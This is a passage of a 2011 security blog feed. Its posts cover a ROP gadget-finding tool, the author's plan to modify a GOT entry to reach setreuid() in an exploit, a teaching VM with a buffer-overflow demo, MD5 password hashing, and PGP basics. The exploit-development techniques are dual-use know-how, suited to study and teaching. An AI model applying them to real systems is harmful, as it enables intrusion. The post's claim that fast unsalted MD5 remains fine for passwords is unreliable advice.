<p>Nothing else too interesting to see. If it&#8217;s not in &#8220;.symtab&#8221;, the next best bet is it&#8217;s in the PLT. Oh boy, this is going to be fun.</p>
<p><em>A little background first. When your ELF is linked against a library, two sections of the executable become important. They are the PLT, or the Procedure Linkage Table, and the GOT, or Global Offset Table (there are equivalents in PE, I believe EAT and IAT). The PLT contains JMP instructions which jump to addresses held within the GOT. The GOT is initially filled with addresses back into the PLT which will load a correct address for the necessary linked function. If we jump back into the PLT, we will load the correct address into the GOT and call the necessary function. Each subsequent call will go straight to the necessary function, as the correct address is now loaded into the GOT. This is called lazy-linking, and it&#8217;s a bit important to understand before we move further.</em></p>
<pre class="brush: lua; title: ; notranslate">    if description == nil then
        local plt = elf:section(&quot;.plt&quot;)
        -- check if target_address is in the &quot;.plt&quot;
        if target_address &gt;= plt:address() and
           target_address &lt; plt:address() + plt:size():uint_t() then
            local plt_jmp = plt:disassemble(target_address)
            local op_address = operand_abs(plt_jmp[&quot;operands&quot;][1],
                                           target_address,
                                           plt_jmp[&quot;size&quot;])
            -- find relocation for op_address
            local relplt
            if elf:section_exists(&quot;.rel.plt&quot;) then
                relplt = elf:section(&quot;.rel.plt&quot;)
            else
                relplt = elf:section(&quot;.rela.plt&quot;)
            end
            for i = 0,relplt:num()-1 do
                local relocation = relplt:relocation(i)
                if relocation:offset() == op_address then
                    description = relocation:name() .. &quot;@PLT&quot;
                    break
                end
            end
        end
    end
</pre>
<p>In sequence, we</p>
<ol>
<li>Make sure the target address is in the &#8220;.plt&#8221;</li>
<li>If it is, we disassemble the first instruction in the PLT (yes we can disassemble at specific addresses (loaded, runtime addresses) and elf_t does the automagic for us), then we get the absolute address for that instruction. <code>local op_address</code> will be the address of the entry in the GOT (not the value held at that address).</li>
<li>We then grab the relocation table, making sure we get the right one. Looks like gcc uses .rel.plt for 32-bit ELFs, and .rela.plt for 64-bit ELFs. We can&#8217;t abstract away everything :(.</li>
<li>We loop through the relocations, looking for one that will be loaded at our address in the GOT. If we find one, we grab the name of our linked function.</li>
</ol>
<p>Now we just need to wrap up the results for relative_offset_description.</p>
<pre class="brush: lua; title: ; notranslate">    if description ~= nil then
        return description
    else
        return &quot;(&quot; .. target_address:strx() .. &quot;)&quot;
    end
end
</pre>
<p>We return the description. If we couldn&#8217;t find a good description, we just return the target_address.</p>
<p>So that&#8217;s how we handle calls, the rest is fairly straight-forward.</p>
<pre class="brush: lua; title: ; notranslate">
    elseif is_jump(instruction[&quot;mnemonic&quot;]) then
        instruction = TERM_COLOR_CYAN .. TERM_BOLD .. instruction[&quot;mnemonic&quot;] ..
                      &quot; &quot; .. relative_offset_description(elf, instruction) ..
                      TERM_NORMAL .. TERM_COLOR_DEFAULT
    elseif instruction[&quot;mnemonic&quot;] == &quot;ret&quot; then
        instruction = TERM_COLOR_YELLOW .. TERM_BOLD ..
                      instruction[&quot;description&quot;] ..
                      TERM_NORMAL .. TERM_COLOR_DEFAULT
    else
        instruction = instruction[&quot;description&quot;]
    end
</pre>
<p>Here&#8217;s the code for the rest of our instructions. Remember that is_jump() function from earlier? Hopefully you do. Jump instructions use the save relative_offset_description function as calls.</p>
<p>Only one thing left to do, print out that awesome line of assembly for us.</p>
<pre class="brush: lua; title: ; notranslate">
    print(address .. &quot;   &quot; .. instruction)
end</pre>
<p>And we&#8217;re done. If you want to know the values of the TERM variables, they are:</p>
<pre class="brush: lua; title: ; notranslate">
TERM_COLOR_RED     = &quot;&#92;&#48;27[31m&quot;
TERM_COLOR_GREEN   = &quot;&#92;&#48;27[32m&quot;
TERM_COLOR_YELLOW  = &quot;&#92;&#48;27[33m&quot;
TERM_COLOR_BLUE    = &quot;&#92;&#48;27[34m&quot;
TERM_COLOR_CYAN    = &quot;&#92;&#48;27[36m&quot;
TERM_COLOR_DEFAULT = &quot;&#92;&#48;27[39m&quot;
TERM_BOLD          = &quot;&#92;&#48;27[1m&quot;
TERM_NORMAL        = &quot;&#92;&#48;27[22m&quot;</pre>
<p>A link to the full source can be found here: <a href="https://github.com/endeav0r/rop_tools/blob/ec09b871175eda4533fb61e426b6d242730d7e89/tools/test1.lua">https://github.com/endeav0r/rop_tools/blob/ec09b871175eda4533fb61e426b6d242730d7e89/tools/test1.lua</a></p>
<p>I wouldn&#8217;t suggest using rop_tools in its current state, as it&#8217;s changing rapidly. However, consider this a taste of what&#8217;s to come. As a good portion of the tear-apart-and-disassemble code is complete, it&#8217;s time to add some, &#8220;brain.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/10/rop_tools-hack-your-disassembler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GOT I Shall Pwn Thee</title>
		<link>http://myw3b.net/blog/index.php/2011/09/got-i-shall-pwn-thee/</link>
		<comments>http://myw3b.net/blog/index.php/2011/09/got-i-shall-pwn-thee/#comments</comments>
		<pubDate>Sun, 18 Sep 2011 20:03:12 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=550</guid>
		<description><![CDATA[This post is about a new tool I&#8217;ve been working on, rop_tools. This is a tool for working with rop gadgets in ELF binaries (currently only 32-bit). But first I&#8217;ll talk about the reasons why I wrote the tool. I was recently working on exploiting a binary in linux. This binary was small, and I [...]]]></description>
			<content:encoded><![CDATA[<p>This post is about a new tool I&#8217;ve been working on, <a href="https://github.com/endeav0r/rop_tools">rop_tools</a>. This is a tool for working with rop gadgets in ELF binaries (currently only 32-bit).  But first I&#8217;ll talk about the reasons why I wrote the tool.</p>
<p>I was recently working on exploiting a binary in linux. This binary was small, and I needed all the gadgetry I could find. I turned first to <a href="http://www.offensive-security.com/metasploit-unleashed/Msfrop">msfrop</a>, but it wasn&#8217;t hacking it. I needed to look 2, 3, 4, any arbitrary number of instructions back. I was interested in not just ret gadgets, but gadgets that jump to registers and call registers.<br />
<span id="more-550"></span><br />
So I wrote my own tool, rop_tools. I&#8217;m not going to run against my target binary for this post, but we&#8217;ll run against the <a href="https://github.com/endeav0r/ravm">ravm</a> assembler which comes in at 28k. Here are some examples:</p>
<p><strong>rop_tools arguments</strong></p>
<pre>./rop_tools
rop_tools
brought to you by rainbowsandpwnies

./rop_tools [-cjr] [-d depth] (-e <elf> | -l <lua_file)
  -c         search for call reg gadgets
  -d <depth> depth, in instructions, to search backwards
  -e <elf>   filename of elf to analyze
  -j         search for jmp reg gadgets
  -k         search for conditional jmp reg gadgets (for when your day is
             really going that bad, and probably won't return anything)
  -l <lua>   runs lua script
  -r         search for ret gadgets</pre>
<p><strong>Simple ret gadgets</strong></p>
<pre>./rop_tools -e ~/sigsac/ravm/assembler -r | tail
section: .fini
_fini + b
  0804a177:  00 5b 81 -- -- -- -- --   add [ebx-0x7f], bl
  0804a17a:  c3 -- -- -- -- -- -- --   ret 

_fini + 1a
  0804a186:  c9 -- -- -- -- -- -- --   leave
  0804a187:  c3 -- -- -- -- -- -- --   ret 

65 gadgets</pre>
<p><strong>ret gadgets with a depth of 3</strong></p>
<pre>./rop_tools -e ~/sigsac/ravm/assembler -r -d 3 | tail -n 16
  0804a169:  c3 -- -- -- -- -- -- --   ret 

section: .fini
_fini + 18
  0804a184:  59 -- -- -- -- -- -- --   pop ecx
  0804a185:  5b -- -- -- -- -- -- --   pop ebx
  0804a186:  c9 -- -- -- -- -- -- --   leave
  0804a187:  c3 -- -- -- -- -- -- --   ret 

_fini + 15
  0804a181:  e5 ff -- -- -- -- -- --   in eax, 0xff
  0804a183:  ff 59 5b -- -- -- -- --   call dword far [ecx+0x5b]
  0804a186:  c9 -- -- -- -- -- -- --   leave
  0804a187:  c3 -- -- -- -- -- -- --   ret 

67 gadgets</pre>
<p>Why 67 gadgets for depth 3 when depth 1 only returned 65? If you look at these last two rop gadgets, you&#8217;ll notice ret is in the same place, but we can get gadgets of depth 3 (we don&#8217;t count the ret in depth) by going 3 bytes back from the ret or 6 bytes back from the ret. We can&#8217;t afford to miss gadgets when all our libraries start out ASLRed!</p>
<p><strong>Showing the jmp reg and call reg gadgets</strong></p>
<pre> ./rop_tools -e ~/sigsac/ravm/assembler -j -c | tail -n 20
  08049460:  ff e9 -- -- -- -- -- --   jmp ecx

lexer + 3b5
  08049495:  ff 89 95 3c ff ff -- --   dec dword [ecx+0xffff3c95]
  0804949b:  ff e9 -- -- -- -- -- --   jmp ecx

frame_dummy + 1d
  0804874d:  04 08 -- -- -- -- -- --   add al, 0x8
  0804874f:  ff d0 -- -- -- -- -- --   call eax

__do_global_ctors_aux + 19
  0804a159:  eb 04 -- -- -- -- -- --   jmp 0x6
  0804a15b:  ff d0 -- -- -- -- -- --   call eax

__do_global_ctors_aux + 18
  0804a158:  83 eb 04 -- -- -- -- --   sub ebx, 0x4
  0804a15b:  ff d0 -- -- -- -- -- --   call eax

section: .fini
6 gadgets</pre>
<p><strong>A note on performance (performance is important). All ret, jmp reg and call reg gadgets from libc</strong></p>
<pre>time ./rop_tools -e /lib/i386-linux-gnu/libc-2.13.so -r -j -c | tail

__libc_thread_freeres_fn + 1222b7
  001222b7:  fd -- -- -- -- -- -- --   std
  001222b8:  ff e8 -- -- -- -- -- --   jmp eax

__libc_thread_freeres_fn + 1222bc
  001222bc:  fd -- -- -- -- -- -- --   std
  001222bd:  ff e8 -- -- -- -- -- --   jmp eax

9598 gadgets

real	0m4.472s
user	0m3.920s
sys	0m0.232s</pre>
<p>That&#8217;s enough of that, let&#8217;s talk about the GOT. In this binary I was exploiting, I needed to make a call to setreuid(). If I could add/subtract to the GOT, I would be golden. However, I could only add/subtract 8-bit values. This&#8230; this was an issue. I didn&#8217;t have infinite size for my rop chain, and I needed to add some pretty big offsets.</p>
<p>The next step was find a rop gadget with the following criteria:</p>
<ul>
<li>add [some_register], some_other_register</li>
<li>Was not far from the address of a function that would be loaded into the GOT of my target binary</li>
</ul>
<p>I could then modify the GOT to give me access to the ROP gadget I needed, ret to an address in the PLT to execute my target gadget, and then use that target gadget to add a 32-bit value to the GOT. rop_tools didn&#8217;t support the finding of these gadgets in libc&#8230; yet.</p>
<p>So I added lua scripting to rop_tools, <a href="https://github.com/endeav0r/rop_tools/blob/master/tools/got_offset_find.lua">wrote a script</a>, and found exactly what I needed:</p>
<pre>sprintf -00000095
  0004785b add [ecx-0x1], ebx
  0004785e dec ecx
  00047860 ret </pre>
<p>Now all I need to do is subtract 0&#215;95 bytes from the sprintf GOT entry and I&#8217;m golden. How automated is this process? Here are the variable you set to fire off the script:</p>
<pre>ROP_OFFSET_SIZE = 256
DEPTH = 2
-- set TARGET_MNEMONICS to nil if you want to show all possibilities
TARGET_MNEMONICS = {"add", "sub"}

LIBC_FILENAME = "/lib/i386-linux-gnu/libc-2.13.so"
TARGET_FILENAME = "/path/to/target"</pre>
<p>I would call that pretty automated. If you find this helpful, let me know. I&#8217;ll continue to add scripts to rop_tools as I find a need and write them.</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/09/got-i-shall-pwn-thee/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Let&#8217;s talk about hashing passwords</title>
		<link>http://myw3b.net/blog/index.php/2011/07/lets-talk-about-hashing-passwords/</link>
		<comments>http://myw3b.net/blog/index.php/2011/07/lets-talk-about-hashing-passwords/#comments</comments>
		<pubDate>Tue, 12 Jul 2011 21:20:23 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=535</guid>
		<description><![CDATA[I read an article last night (this one in fact) which included the following sentence: &#8220;That said, it is no longer secure to hash your passwords with MD5, much less when it is unsalted.&#8221; I cringed. I understand this sentence comes from a common misunderstanding of what security a cryptographic hash brings to your password [...]]]></description>
			<content:encoded><![CDATA[<p>I read an article last night (<a href="http://isc.sans.edu/diary.html?storyid=11188&#038;rss">this one in fact</a>) which included the following sentence: </p>
<blockquote><p><em>&#8220;That said, it is no longer secure to hash your passwords with MD5, much less when it is unsalted.&#8221;</em></p></blockquote>
<p>I cringed. I understand this sentence comes from a common misunderstanding of what security a cryptographic hash brings to your password protection scheme. Today, we&#8217;re going to try and understand it. A most basic understanding of password cracking is assumed.<br />
<span id="more-535"></span><br />
We know that we do not want attackers to discover our passwords (here forth known as PLAINTEXTs). Discovery of the PLAINTEXT is bad. We need a method to store this password in a manner that, when discovered by an attacker, does not reveal the PLAINTEXT. We need an <a href="http://en.wikipedia.org/wiki/Intractability_%28complexity%29#Intractability">intractable</a> equation. Our intractable equation will take an input PLAINTEXT and produce a result CIPHERTEXT, such that we cannot feasibly discover PLAINTEXT from CIPHERTEXT. The most commonly used type of intractable equation for password storage is a cryptographic hash.</p>
<p>Cryptographic hashes have, by definition, numerous properties. The property we are interested in for storing our passwords is known as pre-image resistance. More specifically, we want our cryptographic hash to withstand a first pre-image attack. Let&#8217;s take a look at the three basic attacks all cryptographic hashes should resist:</p>
<ul>
<li><strong>Collision</strong> It is infeasible to find any two different and arbitrary PLAINTEXTs which will hash to the same arbitrary CIPHERTEXT</li>
<li><strong>First Pre-Image</strong> It is infeasible, given a CIPHERTEXT, to find a PLAINTEXT which will hash to the same CIPHERTEXT</li>
<li><strong>Second Pre-Image</strong> It is infeasible, given a PLAINTEXT_1 which hashes to CIPHERTEXT, to find another PLAINTEXT_2 which will hash to CIPHERTEXT</li>
</ul>
<p>It is naturally easier to find a collision for a cryptographic hashing algorithm because of the <a href="http://en.wikipedia.org/wiki/Birthday_attack">Birthday Attack</a>. A cryptographic hash with 128 bits, given a pure birthday attack, would require a complexity of roughly 2^64 (to reach a 50% success rate) to find a collision. To brute force for a pre-image, however, would take a complexity of 2^127. That&#8217;s 2^127 times we would need to run our hashing algorithm to have a 50% chance of finding a pre-image. Much more difficult. The academic research and vetting process behind these cryptographic hashing algorithms uses properties of these equations in an attempt to reduce that complexity. As breakthroughs in cryptography take place, we learn more about the hashes and can begin to reduce the complexity needed for these attacks. </p>
<p>MD5 is a 128-bit cryptographic hashing algorithm. It &#8220;compresses&#8221; 512-bit blocks to 128-bits of output. Its collision resistance is currently 2^20, AKA its collision resistance is broken. A modern laptop can run 2^20 iterations of the MD5 hash &#8220;quickly&#8221; (<a href="http://en.wikipedia.org/wiki/Comparison_of_cryptographic_hash_functions#Cryptanalysis">Wikipedia has a good, quick comparison of attack resistances for popular cryptographic hashes</a>). However, the best known pre-image attack against MD5 reduces those 127 bits to 123.5. After 20 years, MD5&#8242;s pre-image resistance is still very strong.</p>
<p>So how do we &#8220;crack&#8221; these passwords when we can&#8217;t conduct a mathematical pre-image attack against them? We use pre-existing knowledge about the PLAINTEXT to reduce the complexity. For example, if we are executing a simple brute-force password attack, eight lowercase letters, the complexity is 26^8. At (27^8)/2 we have a 50% chance to find our plaintext. So how many times smaller is (26^8)/2 than 2^127? 1,629,493,608,081,135,236,420,508,748 times. (No logs, I wanted the full effect). That&#8217;s how many times stronger the pre-image resistance of MD5 is when compared to a typical brute-force attack of all eight lowercase letters.</p>
<p>So now we are beginning to see that when attackers crack a MD5 password, they don&#8217;t even bother with the mathematical or cryptological properties of the hash. Those properties still keep finding a suitable PLAINTEXT an infeasible task. Instead, we use known information about the plaintext (these are your dictionaries, mangling rules, markov models, etc) to reduce the possibilities we need to attempt. As long as the pre-image resistance of MD5 is greater than the complexity of the typical password attacks, MD5 will retain its viability as a hash to secure passwords.</p>
<p>The fact that someone cracked a bunch of MD5 hashes means nothing about MD5&#8242;s suitability as a cryptographic hash function to intractably hash your plaintexts. <em>People aren&#8217;t attacking the properties of cryptographic hashes, they are attacking statistical weaknesses in the methods people choose their passwords.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/07/lets-talk-about-hashing-passwords/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Teaching Assembly with RAVM</title>
		<link>http://myw3b.net/blog/index.php/2011/06/teaching-assembly-with-ravm/</link>
		<comments>http://myw3b.net/blog/index.php/2011/06/teaching-assembly-with-ravm/#comments</comments>
		<pubDate>Thu, 30 Jun 2011 00:53:04 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Assembly Tutorials]]></category>
		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=511</guid>
		<description><![CDATA[This post is not a class on assembly. It is about a tool I use and hope others will find useful. An understanding of x86 assembly will help. What is the RAVM, and why create it? Learning how programs work at the assembly level is crucial towards gaining a holistic understanding of modern day computing. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This post is not a class on assembly. It is about a tool I use and hope others will find useful. An understanding of x86 assembly will help.</em></p>
<h3>What is the RAVM, and why create it?</h3>
<p>Learning how programs work at the assembly level is crucial towards gaining a holistic understanding of modern day computing. While studying Computer Science at the United States Military Academy, I was introduced to a fantastic piece of in-house developed software: the MARC and MARASM (<a href="http://www.eecs.usma.edu/research/">available publicly here</a>). The MARC is a virtual 16-bit CPU programmed in ADA. When paired with the MARASM, an assembler for the MARC, cadets can write, assemble, and run assembly programs with a simplistic toolchain. </p>
<p>The MARC is a perfect example of using simple applications geared towards education to teach concepts, not features. Students trying to learn new concepts need tools that just work. I wanted to borrow the concepts of the MARC and create a piece of software which could be used as a stepping stone towards x86 assembly. More specifically, I wanted:</p>
<ul>
<li>A more comprehensive, but not complicated, instruction set which more closely mimicked an x86 instruction set.</li>
<li>32-bit, little endian words.</li>
<li>A way to help students visualize what was happening in memory while their programs were running.</li>
<li>A code base programmed in C, making it more accessible for expansion and hacking by others.</li>
</ul>
<p>With these goals in mind, I created the RAVM, the Rainbowsandpwnies Assembler and Virtual Machine. The RAVM comes with three parts: assembler, disassembler, and virtual machine. Here&#8217;s how you can grab a copy of the RAVM in Ubuntu:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">sudo apt-get install git build-essential libncurses5-dev
git clone git://github.com/endeav0r/ravm.git
cd ravm
make</pre>
<p><span id="more-511"></span></p>
<h3>An example</h3>
<p>The RAVM comes with a few example assembly programs, but let&#8217;s start with our own. We will create a function that adds two numbers together and returns the result. We will then call our function to add together 5 and 7, and then stop.</p>
<pre class="brush: plain; title: ; notranslate">main :
    mov r0, 7
    push r0
    mov r0, 5
    push r0
    call sum     ; sum(5, 7)
    add rsp, 0x8 ; this is the cdecl call convention
    hlt

sum :
    push rbp
    mov rbp, rsp

    push r1      ; callee saves registers r1-r7

    mov r1, rbp  ; place second argument in r1
    add r1, 0xc
    mov r1, [r1]

    mov r0, rbp  ; place first argument in r0
    add r0, 0x8
    mov r0, [r0]

    add r0, r1   ; perform the addition

    pop r1       ; restore saved registers
    pop rbp

    ret ; return</pre>
<p><em>As of this writing, push and pop only accepts registers. The instruction set is still being expanded.</em></p>
<p>What we have here is a simple assembly program. Now let&#8217;s see where the RAVM really earns its money.</p>
<p>The vm that comes with RAVM features, &#8220;godmode.&#8221; Godmode is, in my opinion, the best way to visualize a program in memory. Let&#8217;s take a look.</p>
<p>We can assemble and run the above program by saving the contents in sum.asm and running the following commands</p>
<pre class="brush: plain; title: ; notranslate">./assembler sum.bin sum.asm
./vm -i sum.bin -g</pre>
<p>This will present us with the following screen:</p>
<p><img src="http://myw3b.net/blog/images/ravm-ss1.png" /></p>
<p>On the left side of the screen are the addresses for all available memory locations (the VM is currently running with 512 bytes of memory). Starting at address 0, highlighted in cyan is the image loaded from sum.bin. Highlighted in green is the current instruction pointed to by our instruction pointer. The last word in memory, highlighted in red, shows the memory location pointed to by rsp, our stack pointer. In yellow is the user cursor, movable by the arrow keys.</p>
<p>At the bottom of the screen, starting from the top-left of the bottom, we have the address of the cursor, the value of the instruction pointer, a disassembled description of the current instruction, and then the value of every general purpose register.</p>
<p>The user steps through the instruction by pressing (or holding) the &#8220;s&#8221; key. Let&#8217;s step forward in our program until we are sitting on the <strong>add r0, r1</strong> instruction.</p>
<p><img src="http://myw3b.net/blog/images/ravm-ss2.png" /></p>
<p>We are now introduced to two new colors, blue and purple. Blue shows us the space occupied by the stack. Purple shows us the memory pointed to by the base pointer.</p>
<p>As the user continues to step through the program, he/she is simultaneously presented with the entire program laid out and color-coded in memory, the next instruction to execute, and the value of all registers. I have found that after an explanation of how a computer works, a real-time visual learning aid answers many questions.</p>
<h3>Teaching security with the RAVM</h3>
<p>My favorite example program in the RAVM is that of a basic strlen buffer overflow, overwriting the return address to point back into the stack and execute attacker instructions. When the program executes as intended, it takes two strings, one as a password and one as simulated user input. A function is called, and the user input string is copied into a buffer with a strcpy. The two strings are then compared with strcmp, and if the two strings match a value in memory holding 0xdeadbeef is zeroed to 0&#215;00000000. If the two strings do not match, the memory location is not zeroed and the program terminates.</p>
<p>To assemble the buffer overflow example, run this command:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">./assembler buffer_overflow.bin buffer_overflow.asm string.asm</pre>
<p>Here&#8217;s a quick screenshot of RAVM godmode during the buffer overflow action, exploit in place, to get us started (vm memory size restored to 1024 bytes, the default):</p>
<p><img src="http://myw3b.net/blog/images/ravm-ss3.png" /></p>
<p>The jump that is about to execute on the stack will jump the user onto the instructions which execute after a successful strcmp. The creation of this simple, one instruction exploit requires the use of all three tools: assembler, disassembler and vm. Let&#8217;s take a look at the first several instruction of buffer_overflow.bin as they appear from ./disassembler:</p>
<pre class="brush: plain; title: ; notranslate">00000000      10000000020c  MOV  r0, 524 (0000020c)
00000006              3200  PUSH r0
00000008        3000000022  CALL 34 (0000002f)
0000000d      060800000004  ADD  rsp, 4 (00000011)
00000013      410000000001  CMP  r0, 1 (00000014)
00000019        2200000001  JE   1 (0000001f)
0000001e                80  HLT
0000001f      100000000234  MOV  r0, 564 (00000253)
00000025      100100000000  MOV  r1, 0 (00000025)
0000002b            130001  MOV  [r0], r1
0000002e                80  HLT
0000002f              3209  PUSH rbp
00000031            110908  MOV  rbp, rsp
00000034      0608ffffffec  ADD  rsp, -20 (00000020)
0000003a            110009  MOV  r0, rbp
0000003d      060000000008  ADD  r0, 8 (00000045)
00000043            120000  MOV  r0, [r0]
00000046              3200  PUSH r0
00000048            110009  MOV  r0, rbp
0000004b      0600ffffffec  ADD  r0, -20 (00000037)
00000051              3200  PUSH r0
00000053        30000000e9  CALL 233 (00000141)
00000058      060800000008  ADD  rsp, 8 (00000060)
0000005e            110009  MOV  r0, rbp
00000061      0600ffffffec  ADD  r0, -20 (0000004d)
00000067              3200  PUSH r0
00000069      100000000228  MOV  r0, 552 (00000291)</pre>
<p>Currently, constant values are followed by their offset in the instructions. <em>This isn&#8217;t required for all instructions. Work in progress.</em></p>
<p>We start by pushing the address of our user supplied string on the stack and making a function call to check it against the password. After some stack cleanup, we check the result for a 1, which indicates a successful match. On a successful match, we jump to the instructions at 0x0000001f to zero out memory. On an unsuccessful match, we simply halt the program.</p>
<p>The disassembler provides us with an easy way to see all of our instructions next to their assembled addresses (and the addresses they will hold in memory). The attacker can then run his program in memory and calculate the offset from where the stack will be located after a return address overflow to the instructions he needs executed. Finally, the attacker has to find some instruction he can write on the stack which will include no 0&#215;00 bytes. A carefully crafted attacker-supplied string which returns back into the stack and executes a JMP instruction does the trick.</p>
<p>It&#8217;s an interesting exercise in creative thinking to manipulate a system, the RAVM, in ways unintended.</p>
<h3>Conclusion</h3>
<p>That&#8217;s what I use to teach concepts in low-level programming and assembly. I&#8217;m interested in any suggestions, criticisms and feedback people have. If this is something you would like to use, everything is available under the GPL license. Please let me know how it goes!</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/06/teaching-assembly-with-ravm/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>A Basic Introduction to Communicating Securely with PGP</title>
		<link>http://myw3b.net/blog/index.php/2011/03/a-basic-introduction-to-communicating-securely-with-pgp/</link>
		<comments>http://myw3b.net/blog/index.php/2011/03/a-basic-introduction-to-communicating-securely-with-pgp/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 07:01:46 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=442</guid>
		<description><![CDATA[This post is a basic explanation of the concepts behind sending/receiving messages with PGP. This is the basic information I want someone to understand before I start communicating with them. These explanations are fairly simplified. Infeasible means it is very, very difficult to do something. In cryptology, this usually equates to something along the lines [...]]]></description>
			<content:encoded><![CDATA[<p>This post is a basic explanation of the concepts behind sending/receiving messages with PGP. This is the basic information I want someone to understand before I start communicating with them. These explanations are fairly simplified.</p>
<p><strong>Infeasible means</strong> it is very, very difficult to do something. In cryptology, this usually equates to something along the lines of, &#8220;It&#8217;s possible with known algorithms and the expected advancements in hardware, but it will take thousands/millions of years.&#8221;<br />
<span id="more-442"></span></p>
<h2>What is PGP</h2>
<p>PGP stands for Pretty Good Privacy, and is a program originally developed in the 90s to send and received encrypted emails. It is <b>not</b> an encryption algorithm. It provides a basic format for using various algorithms and best-practices in cryptology to send messages between people. PGP has now become the colloquial word used for a variety of concepts used with this format. A PGP Key is a key that can be used with PGP to encrypt/decrypt emails. A PGP encrypted email is an email that could be decrypted with PGP, given a PGP key. Again, <strong><em>PGP is not a cryptographic algorithm</em></strong>.</p>
<p>I personally use <a href="http://www.gnupg.org/">GnuPG</a> along with <a href="http://enigmail.mozdev.org/">enigmail</a> to communicate using PGP formatted messages.</p>
<h2>The three basic types of encryption</h2>
<p>PGP uses all three of these. We will hit them briefly now, and then again at the end.</p>
<h3>Symmetric Encryption</h3>
<p>Symmetric encryption is used to exchange information between two parties with one key. This key is shared, a &#8220;shared secret&#8221;, and the security of symmetric encryption relies on the safe-guarding of this shared secret (the key). Relative to asymmetric encryption, symmetric encryption is fast. AES stands for the Advanced Encryption Standard, comes in 128 and 256 bit flavors (128 is considered secure/unbreakable, but 256 is available to comply with requirements but forth by NIST when they were evaluating candidates for AES), and replaces 3DES, which was three consecutive rounds of DES and was the previous encryption standard.</p>
<ul>
<li>Key: Both parties have same, shared key</li>
<li>Example Algorithms: AES, Blowfish, Twofish, 3DES</li>
<li>Speed: Fast</li>
<li>Security Relies On: Safe-guarding shared key</li>
</ul>
<h3>Asymmetric Encryption</h3>
<p>Asymmetric encryption is used to exchange information between two parties where one party has a known &#8220;public&#8221; key, and uses this known &#8220;public&#8221; key to encrypt information for another party. This information can only be decrypted with the &#8220;private&#8221; key which is kept secret. Asymmetric encryption is based on mathematical problems that are infeasible to solve. Relative to symmetric encryption, asymmetric encryption is slow. RSA and the Diffie-Hellman Key Exchange are two basic methods (based on two different infeasible-to-solve problems) for implementing asymmetric encryption.</p>
<p>There are TWO KEYS in asymmetric encryption, the &#8220;private&#8221; key and the &#8220;public&#8221; key. Ok, technically there are four keys, one pair for signing and one pair for encrypting, but we will pretend there are two keys and abstract some details for quick understanding. If I want to send you a message, I use your public key to encrypt your message. Only you, with your private key, can decrypt that message. If you send me a message, you can use your private key to sign that message. I can then use your public key to verify the signature, and mathematically prove that the message comes from you.</p>
<ul>
<li>Key: You have a secret, private key, and you share a public key with EVERYONE</li>
<li>Example Algorithms: RSA, Diffie-Hellman Key Exchange</li>
<li>Speed: Slow</li>
<li>Security Relies On: Safe-guarding private key <b>and</b> verifying public key</li>
</ul>
<p>We will return to <em>security relies on.</em></p>
<h3>Cryptographic Hash</h3>
<p>A cryptographic hash is a &#8220;one-way&#8221; cryptographic operation where we input data of arbitrary length and end up with a unique number. Hash is used colloquially to refer to both the algorithm, and the resulting &#8220;sum&#8221; of the hashing algorithm. We will use &#8220;sum&#8221; to mean the result of the hashing operation. A cryptographic has two very special properties by definition.</p>
<ul>
<li>Preimage Resistance:Given the sum of a hash, it is infeasible to create or find any input that will hash to that same sum.</li>
<li>Collision Resistance: It is infeasible to find any two inputs that will hash to the same sum.</li>
</ul>
<p>Preimage resistance means you do not get to pick the sum. Collision resistance means you can pick the sum. Collision attacks are easier to implement than preimage attacks. Some implementations of cryptographic hashing algorithms are still valid if the hash can withstand preimage attacks but falls prone to collision attacks. <em>Anything that deals with PGP (key fingerprints, signing emails) requires both strong preimage and collision resistance.</em></p>
<ul>
<li>Key: There is no key</li>
<li>Example Algorithms: OLD_DO_NOT_USE(MD4, MD5, SHA1) USE(SHA256/SHA512 (these are both sha2 with different block sizes))</li>
<li>Speed: <em>fast</em></li>
<li>Security Relies On: The strength of the hashing algorithm</li>
</ul>
<h2>Understanding Asymmetric Encryption Security Concerns</h2>
<p><strong>Fingerprint:</strong> A cryptographic hash (sum) of a public key. Usually when I say, &#8220;verify public key,&#8221; I mean the fingerprint. PGP/GnuPG will generate these fingerprints for you.</p>
<p>Symmetric security is pretty easy to understand. Cryptographic encryption is also pretty easy to understand. Asymmetric encryption, however, has a few special implications we will need to cover. These come from the second security requirement of asymmetric encryption: <em>verifying the public key</em>.</p>
<p>Imagine a scenario where I post my public key to a website and then tell you to go download my public key (exactly like my key available on rainbowsandpwnies.com). Unbeknownst to either you or me, someone has:</p>
<ul>
<li>Hacked into rainbowsandpwnies.com and modified the key stored there.</li>
<li>Is sitting between you and rainbowsandpwnies.com and giving you fake information.</li>
<li>Modifying the key you will end up receiving by some other means.</li>
</ul>
<p>This third party instead gives you their public key. You send a message to me, encrypting it with the public key of the third party. They then decrypt this message, read it, re-encrypt it with my real public key, and then send the message to me. The third party can even sign the message with their private key and send me their public key. You and I will now communicate, believing we are speaking secretly, but our messages are being read by third parties.</p>
<p>In order to know we are speaking secretly, we must be sure that our messages are coming directly from one another. To do this, two things need to happen:</p>
<ul>
<li>You must know, with certainty, that you have my real public key. I must know, with certainty, that I have your public key.</li>
